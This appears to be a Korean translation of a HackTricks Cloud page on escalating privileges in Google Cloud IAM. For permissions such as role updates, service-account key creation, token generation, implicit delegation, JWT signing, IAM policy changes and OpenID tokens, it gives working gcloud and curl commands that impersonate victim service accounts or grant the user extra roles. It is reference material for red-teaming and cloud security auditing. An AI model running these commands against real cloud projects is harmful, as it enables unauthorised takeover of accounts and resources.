GCP - IAM Privesc
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IAM
IAM에 대한 자세한 정보는 다음에서 확인하세요:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update
(iam.roles.get
)
언급된 권한을 가진 공격자는 귀하에게 할당된 역할을 업데이트하고 다음과 같은 다른 리소스에 대한 추가 권한을 부여할 수 있습니다:
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있으며, 이 권한을 악용하기 위한 파이썬 스크립트는 여기에서 확인할 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccounts.getAccessToken
(iam.serviceAccounts.get
)
언급된 권한을 가진 공격자는 서비스 계정에 속하는 액세스 토큰을 요청할 수 있으므로, 우리의 권한보다 더 많은 권한을 가진 서비스 계정의 액세스 토큰을 요청할 수 있습니다.
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccountKeys.create
언급된 권한을 가진 공격자는 서비스 계정에 대한 사용자 관리 키를 생성할 수 있으며, 이를 통해 해당 서비스 계정으로 GCP에 접근할 수 있습니다.
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
다음은 취약한 환경의 생성, 악용 및 정리 자동화 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트 여기에서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccountKeys.update
는 SA의 키를 수정하는 데 작동하지 않습니다. 이를 위해서는 iam.serviceAccountKeys.create
권한도 필요합니다.
iam.serviceAccounts.implicitDelegation
iam.serviceAccounts.implicitDelegation
권한이 있는 서비스 계정이 iam.serviceAccounts.getAccessToken
권한을 가진 다른 서비스 계정이 있다면, implicitDelegation을 사용하여 해당 다른 서비스 계정을 위한 토큰을 생성할 수 있습니다. 설명을 돕기 위한 다이어그램은 다음과 같습니다.
문서에 따르면, gcloud
의 위임은 generateAccessToken() 메서드를 사용하여 토큰을 생성하는 데만 작동합니다. 따라서 API를 직접 사용하여 토큰을 얻는 방법은 다음과 같습니다:
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccounts.signBlob
언급된 권한을 가진 공격자는 GCP에서 임의의 페이로드에 서명할 수 있습니다. 따라서 SA의 서명되지 않은 JWT를 생성한 다음, 이를 블롭으로 보내어 우리가 목표로 하는 SA에 의해 JWT에 서명받을 수 있습니다. 더 많은 정보는 여기서 읽어보세요.
다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서 및 여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccounts.signJwt
언급된 권한을 가진 공격자는 형식이 올바른 JSON 웹 토큰(JWT)에 서명할 수 있습니다. 이전 방법과의 차이점은 구글이 JWT를 포함하는 블롭에 서명하도록 하는 대신, 이미 JWT를 기대하는 signJWT 메서드를 사용한다는 것입니다. 이는 사용하기 더 쉽지만, 바이트 대신 JWT만 서명할 수 있습니다.
다음은 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트와 이 권한을 악용하기 위한 파이썬 스크립트를 여기서 찾을 수 있습니다. 더 많은 정보는 원본 연구를 확인하세요.
iam.serviceAccounts.setIamPolicy
언급된 권한을 가진 공격자는 서비스 계정에 IAM 정책을 추가할 수 있습니다. 이를 악용하여 서비스 계정을 가장하는 데 필요한 권한을 부여할 수 있습니다. 다음 예제에서는 흥미로운 SA에 대해 roles/iam.serviceAccountTokenCreator
역할을 자신에게 부여하고 있습니다:
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있습니다.
iam.serviceAccounts.actAs
iam.serviceAccounts.actAs 권한은 AWS의 iam:PassRole 권한과 유사합니다. 이는 Compute Engine 인스턴스를 시작하는 것과 같은 작업을 실행하는 데 필수적이며, 서비스 계정을 "actAs"할 수 있는 능력을 부여하여 안전한 권한 관리를 보장합니다. 이 권한이 없으면 사용자가 부당한 접근을 할 수 있습니다. 또한, iam.serviceAccounts.actAs를 악용하는 것은 다양한 방법을 포함하며, 각 방법은 특정 권한 세트를 요구하고, 다른 방법들은 단 하나의 권한만 필요로 합니다.
서비스 계정 가장하기
서비스 계정을 가장하는 것은 새롭고 더 나은 권한을 얻는 데 매우 유용할 수 있습니다. 다른 서비스 계정을 가장하는 세 가지 방법이 있습니다:
- RSA 개인 키를 사용한 인증 (위에서 다룸)
- Cloud IAM 정책을 사용한 권한 부여 (여기에서 다룸)
- GCP 서비스에서 작업 배포 (사용자 계정의 손상에 더 적용 가능)
iam.serviceAccounts.getOpenIdToken
언급된 권한을 가진 공격자는 OpenID JWT를 생성할 수 있습니다. 이는 신원을 주장하는 데 사용되며, 리소스에 대한 암묵적인 권한 부여를 반드시 포함하지는 않습니다.
이 흥미로운 게시물에 따르면, 청중(토큰을 사용하여 인증하려는 서비스)을 지정해야 하며, 그러면 서비스 계정과 JWT의 청중을 나타내는 Google에 의해 서명된 JWT를 받게 됩니다.
접근 권한이 있는 경우 OpenIDToken을 생성할 수 있습니다:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
그럼 다음과 같이 서비스를 액세스하는 데 사용할 수 있습니다:
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
다음과 같은 토큰을 통해 인증을 지원하는 서비스가 있습니다:
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (Google OIDC 사용 시)
서비스 계정을 대신하여 OpenID 토큰을 생성하는 방법에 대한 예시는 여기에서 확인할 수 있습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.